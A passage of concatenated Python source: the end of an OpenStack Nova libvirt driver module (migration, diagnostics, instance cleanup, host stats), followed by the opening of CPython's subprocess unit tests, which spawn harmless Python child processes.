finish_revert_migration"), instance=instance) inst_base = libvirt_utils.get_instance_path(instance) inst_base_resize = inst_base + "_resize" # NOTE(danms): if we're recovering from a failed migration, # make sure we don't have a left-over same-host base directory # that would conflict. Also, don't fail on the rename if the # failure happened early. if os.path.exists(inst_base_resize): self._cleanup_failed_migration(inst_base) utils.execute('mv', inst_base_resize, inst_base) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, block_device_info) xml = self.to_xml(context, instance, network_info, disk_info, block_device_info=block_device_info) self._create_domain_and_network(context, xml, instance, network_info, block_device_info, power_on) if power_on: timer = loopingcall.FixedIntervalLoopingCall( self._wait_for_running, instance) timer.start(interval=0.5).wait() def confirm_migration(self, migration, instance, network_info): """Confirms a resize, destroying the source VM.""" self._cleanup_resize(instance, network_info) def get_diagnostics(self, instance): def get_io_devices(xml_doc): """get the list of io devices from the xml document.""" result = {"volumes": [], "ifaces": []} try: doc = etree.fromstring(xml_doc) except Exception: return result blocks = [('./devices/disk', 'volumes'), ('./devices/interface', 'ifaces')] for block, key in blocks: section = doc.findall(block) for node in section: for child in node.getchildren(): if child.tag == 'target' and child.get('dev'): result[key].append(child.get('dev')) return result domain = self._lookup_by_name(instance['name']) output = {} # get cpu time, might launch an exception if the method # is not supported by the underlying hypervisor being # used by libvirt try: cputime = domain.vcpus()[0] for i in range(len(cputime)): output["cpu" + str(i) + "_time"] = cputime[i][2] except libvirt.libvirtError: pass # get io status xml = domain.XMLDesc(0) dom_io = get_io_devices(xml) for disk in dom_io["volumes"]: try: # blockStats might launch an exception if the method # is not supported by the underlying hypervisor being # used by libvirt stats = domain.blockStats(disk) output[disk + "_read_req"] = stats[0] output[disk + "_read"] = stats[1] output[disk + "_write_req"] = stats[2] output[disk + "_write"] = stats[3] output[disk + "_errors"] = stats[4] except libvirt.libvirtError: pass for interface in dom_io["ifaces"]: try: # interfaceStats might launch an exception if the method # is not supported by the underlying hypervisor being # used by libvirt stats = domain.interfaceStats(interface) output[interface + "_rx"] = stats[0] output[interface + "_rx_packets"] = stats[1] output[interface + "_rx_errors"] = stats[2] output[interface + "_rx_drop"] = stats[3] output[interface + "_tx"] = stats[4] output[interface + "_tx_packets"] = stats[5] output[interface + "_tx_errors"] = stats[6] output[interface + "_tx_drop"] = stats[7] except libvirt.libvirtError: pass output["memory"] = domain.maxMemory() # memoryStats might launch an exception if the method # is not supported by the underlying hypervisor being # used by libvirt try: mem = domain.memoryStats() for key in mem.keys(): output["memory-" + key] = mem[key] except (libvirt.libvirtError, AttributeError): pass return output def instance_on_disk(self, instance): # ensure directories exist and are writable instance_path = libvirt_utils.get_instance_path(instance) LOG.debug(_('Checking instance files accessibility %s'), instance_path) return os.access(instance_path, os.W_OK) def inject_network_info(self, instance, nw_info): self.firewall_driver.setup_basic_filtering(instance, nw_info) def _delete_instance_files(self, instance): # NOTE(mikal): a shim to handle this file not using instance objects # everywhere. Remove this when that conversion happens. context = nova_context.get_admin_context(read_deleted='yes') inst_obj = instance_obj.Instance.get_by_uuid(context, instance['uuid']) # NOTE(mikal): this code should be pushed up a layer when this shim is # removed. attempts = int(inst_obj.system_metadata.get('clean_attempts', '0')) success = self.delete_instance_files(inst_obj) inst_obj.system_metadata['clean_attempts'] = str(attempts + 1) if success: inst_obj.cleaned = True inst_obj.save(context) def delete_instance_files(self, instance): target = libvirt_utils.get_instance_path(instance) if os.path.exists(target): LOG.info(_('Deleting instance files %s'), target, instance=instance) try: shutil.rmtree(target) except OSError as e: LOG.error(_('Failed to cleanup directory %(target)s: ' '%(e)s'), {'target': target, 'e': e}, instance=instance) # It is possible that the delete failed, if so don't mark the instance # as cleaned. if os.path.exists(target): LOG.info(_('Deletion of %s failed'), target, instance=instance) return False LOG.info(_('Deletion of %s complete'), target, instance=instance) return True @property def need_legacy_block_device_info(self): return False def default_root_device_name(self, instance, image_meta, root_bdm): disk_bus = blockinfo.get_disk_bus_for_device_type( CONF.libvirt.virt_type, image_meta, "disk") cdrom_bus = blockinfo.get_disk_bus_for_device_type( CONF.libvirt.virt_type, image_meta, "cdrom") root_info = blockinfo.get_root_info( CONF.libvirt.virt_type, image_meta, root_bdm, disk_bus, cdrom_bus) return block_device.prepend_dev(root_info['dev']) def default_device_names_for_instance(self, instance, root_device_name, *block_device_lists): ephemerals, swap, block_device_mapping = block_device_lists[:3] blockinfo.default_device_names(CONF.libvirt.virt_type, nova_context.get_admin_context(), instance, root_device_name, ephemerals, swap, block_device_mapping) class HostState(object): """Manages information about the compute node through libvirt.""" def __init__(self, driver): super(HostState, self).__init__() self._stats = {} self.driver = driver self.update_status() def get_host_stats(self, refresh=False): """Return the current state of the host. If 'refresh' is True, run update the stats first. """ if refresh or not self._stats: self.update_status() return self._stats def update_status(self): """Retrieve status info from libvirt.""" def _get_disk_available_least(): """Return total real disk available least size. The size of available disk, when block_migration command given disk_over_commit param is FALSE. The size that deducted real instance disk size from the total size of the virtual disk of all instances. """ disk_free_gb = disk_info_dict['free'] disk_over_committed = (self.driver. get_disk_over_committed_size_total()) # Disk available least size available_least = disk_free_gb * units.Gi - disk_over_committed return (available_least / units.Gi) LOG.debug(_("Updating host stats")) disk_info_dict = self.driver.get_local_gb_info() data = {} #NOTE(dprince): calling capabilities before getVersion works around # an initialization issue with some versions of Libvirt (1.0.5.5). # See: https://bugzilla.redhat.com/show_bug.cgi?id=1000116 # See: https://bugs.launchpad.net/nova/+bug/1215593 data["supported_instances"] = \ self.driver.get_instance_capabilities() data["vcpus"] = self.driver.get_vcpu_total() data["memory_mb"] = self.driver.get_memory_mb_total() data["local_gb"] = disk_info_dict['total'] data["vcpus_used"] = self.driver.get_vcpu_used() data["memory_mb_used"] = self.driver.get_memory_mb_used() data["local_gb_used"] = disk_info_dict['used'] data["hypervisor_type"] = self.driver.get_hypervisor_type() data["hypervisor_version"] = self.driver.get_hypervisor_version() data["hypervisor_hostname"] = self.driver.get_hypervisor_hostname() data["cpu_info"] = self.driver.get_cpu_info() data['disk_available_least'] = _get_disk_available_least() data['pci_passthrough_devices'] = \ self.driver.get_pci_passthrough_devices() self._stats = data return data
test_subprocess.py
import unittest from test import script_helper from test import support import subprocess import sys import signal import io import locale import os import errno import tempfile import time import re import selectors import sysconfig import warnings import select import shutil import gc import textwrap try: import threading except ImportError: threading = None mswindows = (sys.platform == "win32") # # Depends on the following external programs: Python # if mswindows: SETBINARY = ('import msvcrt; msvcrt.setmode(sys.stdout.fileno(), ' 'os.O_BINARY);') else: SETBINARY = '' try: mkstemp = tempfile.mkstemp except AttributeError: # tempfile.mkstemp is not available def mkstemp(): """Replacement for mkstemp, calling mktemp.""" fname = tempfile.mktemp() return os.open(fname, os.O_RDWR|os.O_CREAT), fname class BaseTestCase(unittest.TestCase): def setUp(self): # Try to minimize the number of children we have so this test # doesn't crash on some buildbots (Alphas in particular). support.reap_children() def tearDown(self): for inst in subprocess._active: inst.wait() subprocess._cleanup() self.assertFalse(subprocess._active, "subprocess._active not empty") def assertStderrEqual(self, stderr, expected, msg=None): # In a debug build, stuff like "[6580 refs]" is printed to stderr at # shutdown time. That frustrates tests trying to check stderr produced # from a spawned Python process. actual = support.strip_python_stderr(stderr) # strip_python_stderr also strips whitespace, so we do too. expected = expected.strip() self.assertEqual(actual, expected, msg) class PopenTestException(Exception): pass class PopenExecuteChildRaises(subprocess.Popen): """Popen subclass for testing cleanup of subprocess.PIPE filehandles when _execute_child fails. """ def _execute_child(self, *args, **kwargs): raise PopenTestException("Forced Exception for Test") class ProcessTestCase(BaseTestCase): def test_io_buffered_by_default(self): p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: self.assertIsInstance(p.stdin, io.BufferedIOBase) self.assertIsInstance(p.stdout, io.BufferedIOBase) self.assertIsInstance(p.stderr, io.BufferedIOBase) finally: p.stdin.close() p.stdout.close() p.stderr.close() p.wait() def test_io_unbuffered_works(self): p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(0)"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0) try: self.assertIsInstance(p.stdin, io.RawIOBase) self.assertIsInstance(p.stdout, io.RawIOBase) self.assertIsInstance(p.stderr, io.RawIOBase) finally: p.stdin.close() p.stdout.close() p.stderr.close() p.wait() def test_call_seq(self): # call() function with sequence argument rc = subprocess.call([sys.executable, "-c", "import sys; sys.exit(47)"]) self.assertEqual(rc, 47) def test_call_timeout(self): # call() function with timeout argument; we want to test that the child # process gets killed when the timeout expires. If the child isn't # killed, this call will deadlock since subprocess.call waits for the # child. self.assertRaises(subprocess.TimeoutExpired, subprocess.call, [sys.executable, "-c", "while True: pass"], timeout=0.1) def test_check_call_zero(self): # check_call() function with zero return code rc = subprocess.check_call([sys.executable, "-c", "import sys; sys.exit(0)"]) self.assertEqual(rc, 0) def test_check_call_nonzero(self): # check_call() function with non-zero return code with self.assertRaises(subprocess.CalledProcessError) as c: subprocess.check_call([sys.executable, "-c", "import sys; sys.exit(47)"]) self.assertEqual(c.exception.returncode, 47) def test_check_output(self): # check_output() function with zero return code output = subprocess.check_output( [sys.executable, "-c", "print('BDFL')"]) self.assertIn(b'BDFL', output) def test_check_output_nonzero(self): # check_call() function with non-zero return code with self.assertRaises(subprocess.CalledProcessError) as c: subprocess.check_output( [sys.executable, "-c", "import sys; sys.exit(5)"]) self.assertEqual(c.exception.returncode, 5) def test_check_output_stderr(self): # check_output() function stderr redirected to stdout output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stderr.write('BDFL')"], stderr=subprocess.STDOUT) self.assertIn(b'BDFL', output) def test_check_output_stdin_arg(self): # check_output() can be called with stdin set to a file tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stdout.write(sys.stdin.read().upper())"], stdin=tf) self.assertIn(b'PEAR', output) def test_check_output_input_arg(self): # check_output() can be called with input set to a string output = subprocess.check_output( [sys.executable, "-c", "import sys; sys.stdout.write(sys.stdin.read().upper())"], input=b'pear') self.assertIn(b'PEAR', output) def test_check_output_stdout_arg(self): # check_output() refuses to accept 'stdout' argument with self.assertRaises(ValueError) as c: output = subprocess.check_output( [sys.executable, "-c", "print('will not be run')"], stdout=sys.stdout) self.fail("Expected ValueError when stdout arg supplied.") self.assertIn('stdout', c.exception.args[0]) def test_check_output_stdin_with_input_arg(self): # check_output() refuses to accept 'stdin' with 'input' tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b'pear') tf.seek(0) with self.assertRaises(ValueError) as c: output = subprocess.check_output( [sys.executable, "-c", "print('will not be run')"], stdin=tf, input=b'hare') self.fail("Expected ValueError when stdin and input args supplied.") self.assertIn('stdin', c.exception.args[0]) self.assertIn('input', c.exception.args[0]) def test_check_output_timeout(self): # check_output() function with timeout arg with self.assertRaises(subprocess.TimeoutExpired) as c: output = subprocess.check_output( [sys.executable, "-c", "import sys, time\n" "sys.stdout.write('BDFL')\n" "sys.stdout.flush()\n" "time.sleep(3600)"], # Some heavily loaded buildbots (sparc Debian 3.x) require # this much time to start and print. timeout=3) self.fail("Expected TimeoutExpired.") self.assertEqual(c.exception.output, b'BDFL') def test_call_kwargs(self): # call() function with keyword args newenv = os.environ.copy() newenv["FRUIT"] = "banana" rc = subprocess.call([sys.executable, "-c", 'import sys, os;' 'sys.exit(os.getenv("FRUIT")=="banana")'], env=newenv) self.assertEqual(rc, 1) def test_invalid_args(self): # Popen() called with invalid arguments should raise TypeError # but Popen.__del__ should not complain (issue #12085) with support.captured_stderr() as s: self.assertRaises(TypeError, subprocess.Popen, invalid_arg_name=1) argcount = subprocess.Popen.__init__.__code__.co_argcount too_many_args = [0] * (argcount + 1) self.assertRaises(TypeError, subprocess.Popen, *too_many_args) self.assertEqual(s.getvalue(), '') def test_stdin_none(self): # .stdin is None when not redirected p = subprocess.Popen([sys.executable, "-c", 'print("banana")'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) p.wait() self.assertEqual(p.stdin, None) def test_stdout_none(self): # .stdout is None when not redirected, and the child's stdout will # be inherited from the parent. In order to test this we run a # subprocess in a subprocess: # this_test # \-- subprocess created by this test (parent) # \-- subprocess created by the parent subprocess (child) # The parent doesn't specify stdout, so the child will use the # parent's stdout. This test checks that the message printed by the # child goes to the parent stdout. The parent also checks that the # child's stdout is None. See #11963. code = ('import sys; from subprocess import Popen, PIPE;' 'p = Popen([sys.executable, "-c", "print(\'test_stdout_none\')"],' ' stdin=PIPE, stderr=PIPE);' 'p.wait(); assert p.stdout is None;') p = subprocess.Popen([sys.executable, "-c", code], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) out, err = p.communicate() self.assertEqual(p.returncode, 0, err) self.assertEqual(out.rstrip(), b'test_stdout_none') def test_stderr_none(self): # .stderr is None when not redirected p = subprocess.Popen([sys.executable, "-c", 'print("banana")'], stdin=subprocess.PIPE, stdout=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stdin.close) p.wait() self.assertEqual(p.stderr, None) def _assert_python(self, pre_args, **kwargs): # We include sys.exit() to prevent the test runner from hanging # whenever python is found. args = pre_args + ["import sys; sys.exit(47)"] p = subprocess.Popen(args, **kwargs) p.wait() self.assertEqual(47, p.returncode) def test_executable(self): # Check that the executable argument works. # # On Unix (non-Mac and non-Windows), Python looks at args[0] to # determine where its standard library is, so we need the directory # of args[0] to be valid for the Popen() call to Python to succeed. # See also issue #16170 and issue #7774. doesnotexist = os.path.join(os.path.dirname(sys.executable), "doesnotexist") self._assert_python([doesnotexist, "-c"], executable=sys.executable) def test_executable_takes_precedence(self): # Check that the executable argument takes precedence over args[0]. # # Verify first that the call succeeds without the executable arg. pre_args = [sys.executable, "-c"] self._assert_python(pre_args) self.assertRaises(FileNotFoundError, self._assert_python, pre_args, executable="doesnotexist") @unittest.skipIf(mswindows, "executable argument replaces shell") def test_executable_replaces_shell(self): # Check that the executable argument replaces the default shell # when shell=True. self._assert_python([], executable=sys.executable, shell=True) # For use in the test_cwd* tests below. def _normalize_cwd(self, cwd): # Normalize an expected cwd (for Tru64 support). # We can't use os.path.realpath since it doesn't expand Tru64 {memb} # strings. See bug #1063571. original_cwd = os.getcwd() os.chdir(cwd) cwd = os.getcwd() os.chdir(original_cwd) return cwd # For use in the test_cwd* tests below. def _split_python_path(self): # Return normalized (python_dir, python_base). python_path = os.path.realpath(sys.executable) return os.path.split(python_path) # For use in the test_cwd* tests below. def _assert_cwd(self, expected_cwd, python_arg, **kwargs): # Invoke Python via Popen, and assert that (1) the call succeeds, # and that (2) the current working directory of the child process # matches *expected_cwd*. p = subprocess.Popen([python_arg, "-c", "import os, sys; " "sys.stdout.write(os.getcwd()); " "sys.exit(47)"], stdout=subprocess.PIPE, **kwargs) self.addCleanup(p.stdout.close) p.wait() self.assertEqual(47, p.returncode) normcase = os.path.normcase self.assertEqual(normcase(expected_cwd), normcase(p.stdout.read().decode("utf-8"))) def test_cwd(self): # Check that cwd changes the cwd for the child process. temp_dir = tempfile.gettempdir() temp_dir = self._normalize_cwd(temp_dir) self._assert_cwd(temp_dir, sys.executable, cwd=temp_dir) @unittest.skipIf(mswindows, "pending resolution of issue #15533") def test_cwd_with_relative_arg(self): # Check that Popen looks for args[0] relative to cwd if args[0] # is relative. python_dir, python_base = self._split_python_path() rel_python = os.path.join(os.curdir, python_base) with support.temp_cwd() as wrong_dir: # Before calling with the correct cwd, confirm that the call fails # without cwd and with the wrong cwd. self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python]) self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python], cwd=wrong_dir) python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, rel_python, cwd=python_dir) @unittest.skipIf(mswindows, "pending resolution of issue #15533") def test_cwd_with_relative_executable(self): # Check that Popen looks for executable relative to cwd if executable # is relative (and that executable takes precedence over args[0]). python_dir, python_base = self._split_python_path() rel_python = os.path.join(os.curdir, python_base) doesntexist = "somethingyoudonthave" with support.temp_cwd() as wrong_dir: # Before calling with the correct cwd, confirm that the call fails # without cwd and with the wrong cwd. self.assertRaises(FileNotFoundError, subprocess.Popen, [doesntexist], executable=rel_python) self.assertRaises(FileNotFoundError, subprocess.Popen, [doesntexist], executable=rel_python, cwd=wrong_dir) python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, doesntexist, executable=rel_python, cwd=python_dir) def test_cwd_with_absolute_arg(self): # Check that Popen can find the executable when the cwd is wrong # if args[0] is an absolute path. python_dir, python_base = self._split_python_path() abs_python = os.path.join(python_dir, python_base) rel_python = os.path.join(os.curdir, python_base) with script_helper.temp_dir() as wrong_dir: # Before calling with an absolute path, confirm that using a # relative path fails. self.assertRaises(FileNotFoundError, subprocess.Popen, [rel_python], cwd=wrong_dir) wrong_dir = self._normalize_cwd(wrong_dir) self._assert_cwd(wrong_dir, abs_python, cwd=wrong_dir) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') def test_executable_with_cwd(self): python_dir, python_base = self._split_python_path() python_dir = self._normalize_cwd(python_dir) self._assert_cwd(python_dir, "somethingyoudonthave", executable=sys.executable, cwd=python_dir) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') @unittest.skipIf(sysconfig.is_python_build(), "need an installed Python. See #7774") def test_executable_without_cwd(self): # For a normal installation, it should work without 'cwd' # argument. For test runs in the build directory, see #7774. self._assert_cwd(os.getcwd(), "somethingyoudonthave", executable=sys.executable) def test_stdin_pipe(self): # stdin redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=subprocess.PIPE) p.stdin.write(b"pear") p.stdin.close() p.wait() self.assertEqual(p.returncode, 1) def test_stdin_filedes(self): # stdin is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() os.write(d, b"pear") os.lseek(d, 0, 0) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=d) p.wait() self.assertEqual(p.returncode, 1) def test_stdin_fileobj(self): # stdin is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) tf.write(b"pear") tf.seek(0) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.exit(sys.stdin.read() == "pear")'], stdin=tf) p.wait() self.assertEqual(p.returncode, 1) def test_stdout_pipe(self): # stdout redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=subprocess.PIPE) self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.read(), b"orange") def test_stdout_filedes(self): # stdout is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=d) p.wait() os.lseek(d, 0, 0) self.assertEqual(os.read(d, 1024), b"orange") def test_stdout_fileobj(self): # stdout is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("orange")'], stdout=tf) p.wait() tf.seek(0) self.assertEqual(tf.read(), b"orange") def test_stderr_pipe(self): # stderr redirection p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=subprocess.PIPE) self.addCleanup(p.stderr.close) self.assertStderrEqual(p.stderr.read(), b"strawberry") def test_stderr_filedes(self): # stderr is set to open file descriptor tf = tempfile.TemporaryFile() self.addCleanup(tf.close) d = tf.fileno() p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=d) p.wait() os.lseek(d, 0, 0) self.assertStderrEqual(os.read(d, 1024), b"strawberry") def test_stderr_fileobj(self): # stderr is set to open file object tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("strawberry")'], stderr=tf) p.wait() tf.seek(0) self.assertStderrEqual(tf.read(), b"strawberry") def test_stdout_stderr_pipe(self): # capture stdout and stderr to the same pipe p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) self.addCleanup(p.stdout.close) self.assertStderrEqual(p.stdout.read(), b"appleorange") def test_stdout_stderr_file(self): # capture stdout and stderr to the same open file tf = tempfile.TemporaryFile() self.addCleanup(tf.close) p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdout.write("apple");' 'sys.stdout.flush();' 'sys.stderr.write("orange")'], stdout=tf, stderr=tf) p.wait() tf.seek(0) self.assertStderrEqual(tf.read(), b"appleorange") def test_stdout_filedes_of_stdout(self): # stdout is set to 1 (#1531862). # To avoid printing the text on stdout, we do something similar to # test_stdout_none (see above). The parent subprocess calls the child # subprocess passing stdout=1, and this test uses stdout=PIPE in # order to capture and check the output of the parent. See #11963. code = ('import sys, subprocess; ' 'rc = subprocess.call([sys.executable, "-c", ' ' "import os, sys; sys.exit(os.write(sys.stdout.fileno(), ' 'b\'test with stdout=1\'))"], stdout=1); ' 'assert rc == 18') p = subprocess.Popen([sys.executable, "-c", code], stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) out, err = p.communicate() self.assertEqual(p.returncode, 0, err) self.assertEqual(out.rstrip(), b'test with stdout=1') def test_stdout_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'for i in range(10240):' 'print("x" * 1024)'], stdout=subprocess.DEVNULL) p.wait() self.assertEqual(p.stdout, None) def test_stderr_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'import sys\n' 'for i in range(10240):' 'sys.stderr.write("x" * 1024)'], stderr=subprocess.DEVNULL) p.wait() self.assertEqual(p.stderr, None) def test_stdin_devnull(self): p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.stdin.read(1)'], stdin=subprocess.DEVNULL) p.wait() self.assertEqual(p.stdin, None) def test_env(self): newenv = os.environ.copy() newenv["FRUIT"] = "orange" with subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(os.getenv("FRUIT"))'], stdout=subprocess.PIPE, env=newenv) as p: stdout, stderr = p.communicate() self.assertEqual(stdout, b"orange") # Windows requires at least the SYSTEMROOT environment variable to start # Python @unittest.skipIf(sys.platform == 'win32', 'cannot test an empty env on Windows') @unittest.skipIf(sysconfig.get_config_var('Py_ENABLE_SHARED') is not None, 'the python library cannot be loaded ' 'with an empty environment') def test_empty_env(self): with subprocess.Popen([sys.executable, "-c", 'import os; ' 'print(list(os.environ.keys()))'], stdout=subprocess.PIPE, env={}) as p: stdout, stderr = p.communicate() self.assertIn(stdout.strip(), (b"[]", # Mac OS X adds __CF_USER_TEXT_ENCODING variable to an empty # environment b"['__CF_USER_TEXT_ENCODING']")) def test_communicate_stdin(self): p = subprocess.Popen([sys.executable, "-c", 'import sys;' 'sys.exit(sys.stdin.read() == "pear")'], stdin=subprocess.PIPE) p.communicate(b"pear") self.assertEqual(p.returncode, 1) def test_communicate_stdout(self): p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stdout.write("pineapple")'], stdout=subprocess.PIPE) (stdout, stderr) = p.communicate() self.assertEqual(stdout, b"pineapple") self.assertEqual(stderr, None) def test_communicate_stderr(self): p = subprocess.Popen([sys.executable, "-c", 'import sys; sys.stderr.write("pineapple")'], stderr=subprocess.PIPE) (stdout, stderr) = p.communicate() self.assertEqual(stdout, None) self.assertStderrEqual(stderr, b"pineapple") def test_communicate(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stderr.write("pineapple");' 'sys.stdout.write(sys.stdin.read())'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) (stdout, stderr) = p.communicate(b"banana") self.assertEqual(stdout, b"banana") self.assertStderrEqual(stderr, b"pineapple") def test_communicate_timeout(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os,time;' 'sys.stderr.write("pineapple\\n");' 'time.sleep(1);' 'sys.stderr.write("pear\\n");' 'sys.stdout.write(sys.stdin.read())'], universal_newlines=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.assertRaises(subprocess.TimeoutExpired, p.communicate, "banana", timeout=0.3) # Make sure we can keep waiting for it, and that we get the whole output # after it completes. (stdout, stderr) = p.communicate() self.assertEqual(stdout, "banana") self.assertStderrEqual(stderr.encode(), b"pineapple\npear\n") def test_communicate_timeout_large_ouput(self): # Test an expiring timeout while the child is outputting lots of data. p = subprocess.Popen([sys.executable, "-c", 'import sys,os,time;' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));' 'time.sleep(0.2);' 'sys.stdout.write("a" * (64 * 1024));'], stdout=subprocess.PIPE) self.assertRaises(subprocess.TimeoutExpired, p.communicate, timeout=0.4) (stdout, _) = p.communicate() self.assertEqual(len(stdout), 4 * 64 * 1024) # Test for the fd leak reported in http://bugs.python.org/issue2791. def test_communicate_pipe_fd_leak(self): for stdin_pipe in (False, True): for stdout_pipe in (False, True): for stderr_pipe in (False, True): options = {} if stdin_pipe: options['stdin'] = subprocess.PIPE if stdout_pipe: options['stdout'] = subprocess.PIPE if stderr_pipe: options['stderr'] = subprocess.PIPE if not options: continue p = subprocess.Popen((sys.executable, "-c", "pass"), **options) p.communicate() if p.stdin is not None: self.assertTrue(p.stdin.closed) if p.stdout is not None: self.assertTrue(p.stdout.closed) if p.stderr is not None: self.assertTrue(p.stderr.closed) def test_communicate_returns(self): # communicate() should return None if no redirection is active p = subprocess.Popen([sys.executable, "-c", "import sys; sys.exit(47)"]) (stdout, stderr) = p.communicate() self.assertEqual(stdout, None) self.assertEqual(stderr, None) def test_communicate_pipe_buf(self): # communicate() with writes larger than pipe_buf # This test will probably deadlock rather than fail, if # communicate() does not work properly. x, y = os.pipe() os.close(x) os.close(y) p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(sys.stdin.read(47));' 'sys.stderr.write("x" * %d);' 'sys.stdout.write(sys.stdin.read())' % support.PIPE_MAX_SIZE], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) string_to_write = b"a" * support.PIPE_MAX_SIZE (stdout, stderr) = p.communicate(string_to_write) self.assertEqual(stdout, string_to_write) def test_writes_before_communicate(self): # stdin.write before communicate() p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' 'sys.stdout.write(sys.stdin.read())'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) self.addCleanup(p.stdin.close) p.stdin.write(b"banana") (stdout, stderr) = p.communicate(b"split") self.assertEqual(stdout, b"bananasplit") self.assertStderrEqual(stderr, b"") def test_universal_newlines(self): p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + 'buf = sys.stdout.buffer;' 'buf.write(sys.stdin.readline().encode());' 'buf.flush();' 'buf.write(b"line2\\n");' 'buf.flush();' 'buf.write(sys.stdin.read().encode());' 'buf.flush();' 'buf.write(b"line4\\n");' 'buf.flush();' 'buf.write(b"line5\\r\\n");' 'buf.flush();' 'buf.write(b"line6\\r");' 'buf.flush();' 'buf.write(b"\\nline7");' 'buf.flush();' 'buf.write(b"\\nline8");'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=1) p.stdin.write("line1\n") p.stdin.flush() self.assertEqual(p.stdout.readline(), "line1\n") p.stdin.write("line3\n") p.stdin.close() self.addCleanup(p.stdout.close) self.assertEqual(p.stdout.readline(), "line2\n") self.assertEqual(p.stdout.read(6), "line3\n") self.assertEqual(p.stdout.read(), "line4\nline5\nline6\nline7\nline8") def test_universal_newlines_communicate(self): # universal newlines through communicate() p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + 'buf = sys.stdout.buffer;' 'buf.write(b"line2\\n");' 'buf.flush();' 'buf.write(b"line4\\n");' 'buf.flush();' 'buf.write(b"line5\\r\\n");' 'buf.flush();' 'buf.write(b"line6\\r");' 'buf.flush();' 'buf.write(b"\\nline7");' 'buf.flush();' 'buf.write(b"\\nline8");'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=1) self.addCleanup(p.stdout.close) self.addCleanup(p.stderr.close) (stdout, stderr) = p.communicate() self.assertEqual(stdout, "line2\nline4\nline5\nline6\nline7\nline8") def test_universal_newlines_communicate_stdin(self): # universal newlines through communicate(), with only stdin p = subprocess.Popen([sys.executable, "-c", 'import sys,os;' + SETBINARY + textwrap.dedent(''' s = sys.stdin.readline() assert s == "line1\\n", repr(s) s = sys.stdin.read() assert s == "line3\\n", repr(s) ''')], stdin=subprocess.PIPE, universal_newlines=1) (stdout, stderr) = p.communicate("line1\nline3\n") self.assertEqual(p.returncode, 0) def test_universal_newlines_communicate_input_none(self): # Test communicate(input=None) with universal newlines. # # We set stdout to PIPE because, as of this writing, a different # code path is tested when the number of pipes is zero or one. p = subprocess.Popen([sys.executable, "-c", "pass"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, universal_newlines=True) p.communicate() 